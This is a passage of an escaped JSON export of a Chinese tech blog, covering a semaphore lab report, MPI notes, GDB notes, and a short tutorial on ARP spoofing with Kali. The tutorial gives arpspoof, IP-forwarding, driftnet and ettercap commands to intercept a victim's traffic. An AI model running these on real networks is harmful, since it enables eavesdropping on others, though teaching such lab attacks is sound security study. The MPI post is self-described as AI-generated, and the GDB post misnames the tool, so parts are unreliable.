class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-5\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523170029.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,生产者进程和消费者进程能够通过信号量来同步他们的操作,保证缓冲区的值不会超过8或低于0。\u003c/p\u003e\u003ch3 id=\"五、实验心得-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-5\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号量的原理和用法,知道了如何使用系统调用来创建和操作信号量,在生产者消费者问题中实现进程同步。同时,我也了解了如何使用信号量来控制资源的访问和分配。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"title":"使用Kali进行ARP欺骗攻击","time":"2023-05-22T02:28:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/#%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cp\u003e先用\u003ccode\u003eifconfig\u003c/code\u003e看网卡名称,我是\u003ccode\u003eeth0\u003c/code\u003e。随后用\u003ccode\u003efping\u003c/code\u003e或者\u003ccode\u003enmap\u003c/code\u003e扫描网段\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efping -asg 192.168.16.0/24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 或者这条\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmap 192.168.16.1-100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [target IP] [gate]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果想做中间人攻击,编辑\u003ccode\u003e/etc/sysctl.conf\u003c/code\u003e,添加配置\u003ccode\u003enet.ipv4.ip_forward=1\u003c/code\u003e,就可以开启端口转发。\u003c/p\u003e\u003cp\u003e此时重新运行,不过得换一下网关ip和目标ip\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [gate] [target IP] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后打开另一个终端,运行\u003ccode\u003edriftnet\u003c/code\u003e和\u003ccode\u003eettercap\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edriftnet -i eth0 -a -d /root/out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eettercap -Tq -i eth0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在上面的目录可以看到缓存的图片,下面的终端可以看到eth0的流量。至此,攻击测试完成。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/"},{"title":"C语言MPI学习笔记","time":"2023-04-27T15:48:54Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e内容由New Bing自动生成,注意甄别\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMPI是一种用于并行计算的消息传递接口,它可以让多个进程在不同的机器(节点)上协同工作,通过发送和接收数据来完成复杂的计算任务。\u003c/p\u003e\u003cp\u003e简单地说,这是一个位高性能并行计算提供的一个\u003cstrong\u003e基础通信规范\u003c/strong\u003e。依靠它,可以编写出在多个核心/CPU集群上并行运行的程序。\u003c/p\u003e\u003cp\u003e要使用C语言MPI,您需要安装一个MPI软件,如MPICH,OpenMPI或MVAPICH,并使用mpicc或mpic++命令来编译您的C程序。\u003c/p\u003e\u003cp\u003e您还需要使用一些MPI的API函数来初始化和结束MPI环境,获取进程数和进程编号(称为“rank”),以及进行数据交换。\u003c/p\u003e\u003cp\u003e数据交换的主要方式有两种:发送(send)和接收(recv)。发送可以分为阻塞(blocking)和非阻塞(non-blocking)两种,阻塞发送会等待数据被接收方确认,而非阻塞发送会继续执行后续的代码,但需要使用等待(wait)函数来同步数据的状态。\u003c/p\u003e\u003cp\u003e依靠MPI构建的数据计算程序有多种架构,MIMD和SIMD都是它支持的架构。不过一般使用后一种,也就是单程序多数据流。\u003c/p\u003e\u003cp\u003e对于这种架构,又有两种不同的设计模式:主从结构,以及对等结构。它们适用于大多数情况。\u003c/p\u003e\u003ch2 id=\"实例\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%9E%E4%BE%8B\" class=\"headerlink\" title=\"实例\"\u003e\u003c/a\u003e实例\u003c/h2\u003e\u003cp\u003e下面是一个简单的C语言MPI程序的示例,它可以计算圆周率的近似值:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者:\u003ca href=\"mailto:xiongw21@mails.tsinghua.edu.cn\"\u003exiongw21@mails.tsinghua.edu.cn\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;mpi.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"number\"\u003e4.0\u003c/span\u003e/(\u003cspan class=\"number\"\u003e1.0\u003c/span\u003e+x*x));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e argc,\u003cspan class=\"type\"\u003echar\u003c/span\u003e *argv[])\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e myid, numprocs;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e mypi, pi;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e h, sum, x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Init(\u0026amp;argc,\u0026amp;argv);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_size(MPI_COMM_WORLD,\u0026amp;numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Comm_rank(MPI_COMM_WORLD,\u0026amp;myid);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d of %d.\\n\u0026#34;\u003c/span\u003e, myid, numprocs);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n = \u003cspan class=\"number\"\u003e100\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e h = \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e / (\u003cspan class=\"type\"\u003edouble\u003c/span\u003e) n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum = \u003cspan class=\"number\"\u003e0.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = myid + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i += numprocs)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = h * ((\u003cspan class=\"type\"\u003edouble\u003c/span\u003e)i - \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sum +=f(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mypi = h * sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Reduce(\u0026amp;mypi, \u0026amp;pi, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, MPI_DOUBLE, MPI_SUM, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, MPI_COMM_WORLD);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (myid == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The result is %.10f.\\n\u0026#34;\u003c/span\u003e,pi);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MPI_Finalize();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"GDB学习笔记","time":"2023-03-16T15:12:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eGDB(GNU Debug Bridge)是一个二进制程序调试工具,适用于调试C和C++程序。这种二进制程序工具统称为bin-utils。类似的还有\u003ccode\u003estrace\u003c/code\u003e,一个跟踪程序系统调用的工具。\u003c/p\u003e\u003ch2 id=\"快速上手\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B\" class=\"headerlink\" title=\"快速上手\"\u003e\u003c/a\u003e快速上手\u003c/h2\u003e\u003cp\u003e在此之前,编译程序时记得加上\u003ccode\u003e-g\u003c/code\u003e参数来生成调试信息。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc main.c -g -o main\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e首先,使用\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e启动gdb并加载程序。随后,使用\u003ccode\u003ebreak main\u003c/code\u003e在\u003ccode\u003emain\u003c/code\u003e函数入口设置断点,否则程序会直接执行完成。接着,使用\u003ccode\u003erun [args]\u003c/code\u003e执行程序并附加可选的参数。程序会在断点处停止,在这之后,就可以使用\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e)或\u003ccode\u003estep\u003c/code\u003e单步执行,使用\u003ccode\u003eprint expr\u003c/code\u003e打印表达式的值。完成后,用\u003ccode\u003equit\u003c/code\u003e退出gdb。\u003c/p\u003e\u003ch3 id=\"解释说明\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E9%87%8A%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"解释说明\"\u003e\u003c/a\u003e解释说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e只有编译时加上了\u003ccode\u003e-g\u003c/code\u003e,gdb才能进行调试\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e表示执行下一条语句而不进入函数内部;\u003ccode\u003estep\u003c/code\u003e则会进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint expr\u003c/code\u003e可以输出表达式的值,一次一个参数。例如查看数组arr的第i个元素可以用\u003ccode\u003eprint arr[i]\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"GDB的几种模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#GDB%E7%9A%84%E5%87%A0%E7%A7%8D%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"GDB的几种模式\"\u003e\u003c/a\u003eGDB的几种模式\u003c/h2\u003e\u003cp\u003eGDB有多种模式,包括交互模式、批处理模式、远程调试模式等。交互模式是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。批处理模式可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。远程调试模式可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e交互模式\u003c/code\u003e 是最常用的模式,用户可以在命令行界面中输入命令与GDB交互。进入交互模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。交互模式的作用是让用户能够在程序执行过程中控制程序的执行,查看程序的状态,以及调试程序的错误。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e批处理模式\u003c/code\u003e 可以在不人工干预的情况下执行一系列GDB命令,通常用于自动化测试和调试。进入批处理模式的方法是在命令行中输入\u003ccode\u003egdb -batch -x \u0026lt;script\u0026gt; \u0026lt;program\u0026gt;\u003c/code\u003e,其中\u003ccode\u003e\u0026lt;script\u0026gt;\u003c/code\u003e是包含GDB命令的脚本文件,\u003ccode\u003e\u0026lt;program\u0026gt;\u003c/code\u003e是要调试的程序的可执行文件。批处理模式的作用是让用户能够自动化执行一系列GDB命令,以便进行自动化测试和调试。基本使用方法包括设置断点、运行程序、单步执行、打印变量值、查看函数调用栈等。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e远程调试模式\u003c/code\u003e 可以在远程主机上调试程序,通常用于嵌入式系统和分布式系统的调试。进入远程调试模式的方法是在命令行中输入\u003ccode\u003egdb \u0026lt;program\u0026gt;\u003c/code\u003e,然后使用\u003ccode\u003etarget remote \u0026lt;host\u0026gt;:\u0026lt;port\u0026gt;\u003c/code\u003e命令连接到远程主机,其中\u003ccode\u003e\u0026lt;host\u0026gt;\u003c/code\u003e是远程主机的IP地址或主机名,\u003ccode\u003e\u0026lt;port\u0026gt;\u003c/code\u003e是远程主机上GDB服务器的端口号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eGDB的软件结构可以分为以下几个部分:\u003c/p\u003e\u003col\u003e\u003cli\u003e前端:用户与GDB交互的界面,可以是命令行界面或者GUI界面。\u003c/li\u003e\u003cli\u003e后端:GDB的核心部分,负责解析用户输入的命令,控制程序的执行,以及与目标程序进行通信。\u003c/li\u003e\u003cli\u003e目标:被调试的程序,GDB通过与目标程序进行通信来控制其执行。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常用指令\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%B8%B8%E7%94%A8%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"常用指令\"\u003e\u003c/a\u003e常用指令\u003c/h2\u003e\u003cp\u003e以下是GDB常用的指令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ebreak\u003c/code\u003e:设置断点\u003c/li\u003e\u003cli\u003e\u003ccode\u003erun\u003c/code\u003e:运行程序\u003c/li\u003e\u003cli\u003e\u003ccode\u003enext\u003c/code\u003e(简写为\u003ccode\u003en\u003c/code\u003e):执行下一条语句而不进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003estep\u003c/code\u003e(简写为\u003ccode\u003es\u003c/code\u003e):进入函数内部\u003c/li\u003e\u003cli\u003e\u003ccode\u003eprint\u003c/code\u003e(简写为\u003ccode\u003ep\u003c/code\u003e):打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebacktrace\u003c/code\u003e(简写为\u003ccode\u003ebt\u003c/code\u003e):打印函数调用栈\u003c/li\u003e\u003cli\u003e\u003ccode\u003einfo\u003c/code\u003e:显示各种信息,如变量、寄存器、线程等\u003c/li\u003e\u003cli\u003e\u003ccode\u003ewatch\u003c/code\u003e:设置观察点,当观察的变量被修改时停止程序执行\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinue\u003c/code\u003e(简写为\u003ccode\u003ec\u003c/code\u003e):继续执行程序直到下一个断点或程序结束\u003c/li\u003e\u003cli\u003e\u003ccode\u003efinish\u003c/code\u003e:执行完当前函数并返回到调用该函数的地方\u003c/li\u003e\u003cli\u003e\u003ccode\u003eset\u003c/code\u003e:设置变量的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisplay\u003c/code\u003e:每次停在断点处时自动打印表达式的值\u003c/li\u003e\u003cli\u003e\u003ccode\u003edisable\u003c/code\u003e:禁用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003eenable\u003c/code\u003e:启用断点或观察点\u003c/li\u003e\u003cli\u003e\u003ccode\u003edelete\u003c/code\u003e:删除断点或观察点\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"高级功能\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E9%AB%98%E7%BA%A7%E5%8A%9F%E8%83%BD\" class=\"headerlink\" title=\"高级功能\"\u003e\u003c/a\u003e高级功能\u003c/h2\u003e\u003cp\u003e除了常用指令外,GDB还有一些高级功能:\u003c/p\u003e\u003ch3 id=\"多线程调试\"\u003e\u003ca href=\"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"多线程调试\"\u003e\u003c/a\u003e多线程调试\u003c/h3\u003e\u003cp\u003eGDB支持多线程调试。可以使用\u003ccode\u003einfo threads\u003c/code\u003e命令查看当前线程列表,使用\u003ccode\u003ethread \u0026lt;id\u0026gt;\u003c/code\u003e命令切换到指定线程,使用\u003ccode\u003ebreak \u0026lt;func\u0026gt; thread \u0026lt;id\u0026gt;\u003c/code\u003e命令在指定线程中设置断点。\u003c/p\u003e\u003cp\u003e例如,我们有一个多线程程序\u003ccode\u003etest\u003c/code\u003e,其中有两个线程\u003ccode\u003ethread1\u003c/code\u003e和\u003ccode\u003ethread2\u003c/code\u003e,我们想在\u003ccode\u003ethread2\u003c/code\u003e中设置断点。首先,使用\u003ccode\u003egdb test\u003c/code\u003e命令启动gdb并加载程序。接着,使用\u003ccode\u003erun\u003c/code\u003e命令运行程序。程序会在主线程中停止,使用\u003ccode\u003einfo 